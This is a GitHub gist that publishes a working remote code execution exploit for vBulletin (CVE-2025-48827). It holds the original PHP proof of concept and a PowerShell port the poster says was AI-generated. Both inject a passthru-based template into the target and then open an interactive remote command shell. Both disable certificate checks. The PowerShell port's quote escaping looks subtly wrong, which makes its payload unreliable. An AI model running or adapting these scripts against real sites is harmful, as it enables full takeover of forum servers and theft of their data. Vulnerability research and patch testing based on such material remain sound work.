Skip to content

Instantly share code, notes, and snippets.

@ALiwoto
Last active May 30, 2025 06:24
Show Gist options
  • Save ALiwoto/a3b5d3878f647ecb2a0fb04f58a319c2 to your computer and use it in GitHub Desktop.
Save ALiwoto/a3b5d3878f647ecb2a0fb04f58a319c2 to your computer and use it in GitHub Desktop.
CVE-2025-48827: vBulletin (replaceAdTemplate) Remote Code Execution Vulnerability. EDUCATIONAL PURPOSE ONLY.

CVE-2025-48827

vBulletin (replaceAdTemplate) Remote Code Execution Vulnerability.

EDUCATIONAL PURPOSE ONLY.

Taken from here

The original code was written in PHP, had to use Gemini 2.2 to convert it to PowerShell. Please check for any errors.

<?php
/*
-----------------------------------------------------------------
vBulletin (replaceAdTemplate) Remote Code Execution Vulnerability
-----------------------------------------------------------------
author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: https://invisioncommunity.com
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] Technical Writeup:
https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce
*/
set_time_limit(0);
error_reporting(E_ERROR);
print "\n+---------------------------------------------------------------------+";
print "\n| vBulletin (replaceAdTemplate) Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------------+\n";
if (!extension_loaded("curl")) die("\n[-] cURL extension required!\n\n");
if ($argc != 2)
{
print "\nUsage......: php $argv[0] <URL>\n";
print "\nExample....: php $argv[0] http://localhost/vb/";
print "\nExample....: php $argv[0] https://vbulletin.com/\n\n";
die();
}
$params = [
"routestring" => "ajax/api/ad/replaceAdTemplate",
"styleid" => "1",
"location" => "rce",
"template" => "<vb:if condition='\"passthru\"(\$_POST[\"cmd\"])'></vb:if>"
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $argv[1]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
if (curl_exec($ch) !== "null") die("\n[-] Exploit failed, unable to create template!\n\n");
$params = ["routestring" => "ajax/render/ad_rce"];
while (1)
{
print "\nvBulletin-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$params["cmd"] = $cmd;
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
preg_match('/(.+)\{"template":/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n\n");
}
#!/usr/bin/env pwsh
#Requires -PSVersion 6.0 # For -SkipCertificateCheck with Invoke-WebRequest and modern features.
<#
.SYNOPSIS
PowerShell script to test vBulletin replaceAdTemplate vulnerability.
.DESCRIPTION
This script attempts to create a template and then execute commands
via a vBulletin vulnerability related to ad template replacement.
It is a conversion of a PHP script originally by EgiX.
.PARAMETER Url
The base URL of the vBulletin installation.
Example: http://localhost/vb/
Example: https://vbulletin.com/
.EXAMPLE
.\vBulletin-replaceAdTemplate-RCE.ps1 -Url http://your-vbulletin-site.com/
#>
param(
[Parameter(Mandatory = $true, HelpMessage = "Enter the target vBulletin URL (e.g., http://localhost/vb/)")]
[string]$Url
)
# Equivalent to PHP's error_reporting(E_ERROR) for script-halting behavior on errors.
# This makes PowerShell stop on terminating errors and most non-terminating errors if not caught.
$ErrorActionPreference = "Stop"
# Display banner
Write-Host "" # Mimics the leading newline from the PHP print statement
Write-Host "+---------------------------------------------------------------------+"
Write-Host "| vBulletin (replaceAdTemplate) TemplateReplaceTesting by EgiX |"
Write-Host "+---------------------------------------------------------------------+"
Write-Host "" # Mimics the trailing newline from the PHP print statement
# --- Prepare common parameters for Invoke-WebRequest ---
$baseIwrSplat = @{
UseBasicParsing = $true # Recommended for consistency and to avoid IE engine on Windows PS if ever used there.
}
if ($Url.StartsWith("https://")) {
if ($PSVersionTable.PSVersion.Major -ge 6) {
# For PowerShell 6.0+ (pwsh), -SkipCertificateCheck is available for Invoke-WebRequest
$baseIwrSplat.Add("SkipCertificateCheck", $true)
Write-Verbose "HTTPS detected: -SkipCertificateCheck will be used (PS Version >= 6.0)."
} else {
# For older PowerShell versions (e.g., Windows PowerShell 5.1) on HTTPS
Write-Warning "HTTPS detected with older PowerShell version ($($PSVersionTable.PSVersion))."
Write-Warning "Attempting to set session-wide ServerCertificateValidationCallback to bypass SSL errors."
Write-Warning "This may not work in all environments or have security implications."
try {
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
Write-Verbose "ServerCertificateValidationCallback set to allow all certificates for this session."
} catch {
Write-Error "Failed to set ServerCertificateValidationCallback: $($_.Exception.Message)"
Write-Warning "HTTPS requests may fail if the certificate is not trusted and override failed."
}
}
}
# --- Initial Template Creation ---
# The literal string for the template is: <vb:if condition='"passthru"($_POST["cmd"])'></vb:if>
# In PowerShell single-quoted strings, single quotes are escaped by doubling them ('').
$templatePayload = '<vb:if condition=''""passthru""($_POST[""cmd""])''></vb:if>'
$initialParams = @{
routestring = "ajax/api/ad/replaceAdTemplate"
styleid = "1"
location = "rce"
template = $templatePayload
}
Write-Host "[*] Attempting to create template on $Url..."
try {
$createTemplateSplat = @{
Uri = $Url
Method = 'Post'
Body = $initialParams
} + $baseIwrSplat # Combine with base parameters (like SkipCertificateCheck)
$response = Invoke-WebRequest @createTemplateSplat
if ($response.Content -ne "null") {
Write-Error "[-] Testing failed, unable to create template! Server responded: $($response.Content | Out-String)"
exit 1
}
Write-Host "[+] Template apparently created successfully."
} catch {
Write-Error "[-] Error during initial template creation request:"
Write-Error "[-] $($_.Exception.Message)"
if ($_.Exception.Response) {
$statusCode = $_.Exception.Response.StatusCode
$statusDescription = $_.Exception.Response.StatusDescription
Write-Error "[-] Server Response Code: $statusCode ($statusDescription)"
try {
$errorStream = $_.Exception.Response.GetResponseStream()
$streamReader = New-Object System.IO.StreamReader($errorStream)
$errorBody = $streamReader.ReadToEnd()
$streamReader.Close()
$errorStream.Close()
Write-Error "[-] Server Error Response Body: $errorBody"
} catch {
Write-Warning "[-] Could not read error response body."
}
}
exit 1
}
# --- Command Execution Loop ---
$loopParamsBase = @{
routestring = "ajax/render/ad_rce"
# 'cmd' will be added in the loop
}
Write-Host "[*] Starting command execution loop (type 'exit' to quit)."
while ($true) {
try {
# The PHP script adds a newline before the prompt. Read-Host will display the prompt directly.
# We can add Write-Host "" for the newline if precise visual match is needed, or include \n in prompt.
$commandToRun = Read-Host "`nvBulletin-shell >" # `n for newline before prompt
if ($commandToRun.Trim().ToLower() -eq "exit") {
Write-Host "[*] Exit command received."
break
}
$currentLoopParams = $loopParamsBase.Clone() # Clone to avoid modifying base for next iteration
$currentLoopParams.cmd = $commandToRun
$executeCmdSplat = @{
Uri = $Url
Method = 'Post'
Body = $currentLoopParams
} + $baseIwrSplat # Combine with base parameters
$cmdResponse = Invoke-WebRequest @executeCmdSplat
# Regex from PHP: /(.+)\{"template":/s
# PowerShell equivalent: '(?s)(.+)\{"template":'
# (?s) is the DOTALL modifier, making . match newlines.
# \{ ensures { is literal.
$regexPattern = '(?s)(.+)\{"template":'
if ($cmdResponse.Content -match $regexPattern) {
# Output the captured group (command output), trimming whitespace
Write-Host $Matches[1].Trim()
} else {
Write-Error "[-] Command execution failed or expected pattern not found in response."
Write-Verbose "[-] Full response content for debugging: $($cmdResponse.Content | Out-String)"
# Original PHP script dies here.
exit 1
}
} catch {
Write-Error "[-] Error during command execution request:"
Write-Error "[-] $($_.Exception.Message)"
if ($_.Exception.Response) {
$statusCode = $_.Exception.Response.StatusCode
$statusDescription = $_.Exception.Response.StatusDescription
Write-Error "[-] Server Response Code: $statusCode ($statusDescription)"
try {
$errorStream = $_.Exception.Response.GetResponseStream()
$streamReader = New-Object System.IO.StreamReader($errorStream)
$errorBody = $streamReader.ReadToEnd()
$streamReader.Close()
$errorStream.Close()
Write-Error "[-] Server Error Response Body: $errorBody"
} catch {
Write-Warning "[-] Could not read error response body."
}
}
# Original PHP script dies on failure within the loop.
exit 1
}
}
Write-Host "[*] Script finished."
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment